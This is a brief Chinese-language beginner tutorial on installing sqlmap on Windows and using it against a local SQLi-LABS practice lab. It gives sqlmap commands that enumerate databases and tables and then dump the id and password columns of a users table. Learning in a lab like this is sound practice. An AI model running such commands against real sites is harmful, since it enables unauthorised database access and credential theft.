下载并使用sqlmap

首先要安装python然后配置好环境（这里我安装好了丢个截图偷下懒）

• 1| 点本机-高级属性-系统属性-环境变量

• 
  

再去网页下载sqlmap

下载地址

• 1| 下载好后解压

• 2| 在桌面建立一个快捷方式

• 右键快捷方式属性

• 将原先那个解压的文件夹地址放到起始位置确定即可使用

• 使用sqlmap

• 登入个能注入的网站（这里用了SQLi-LABS Page-1(Basic Challenges)）

sqlmap -u "http://localhost:81/Less-1/?id=1" --dbs

• 输入代码先找到数据库
  
• 再进入数据库找表（这里是security的表）

sqlmap -u "http://localhost:81/Less-1/?id=1" -D security --tables

• 再到表中找字段

sqlmap -u "http://localhost:81/Less-1/?id=1" --dump -D security -T users -C 'id,pssword'

• 本人菜鸟，大佬勿喷。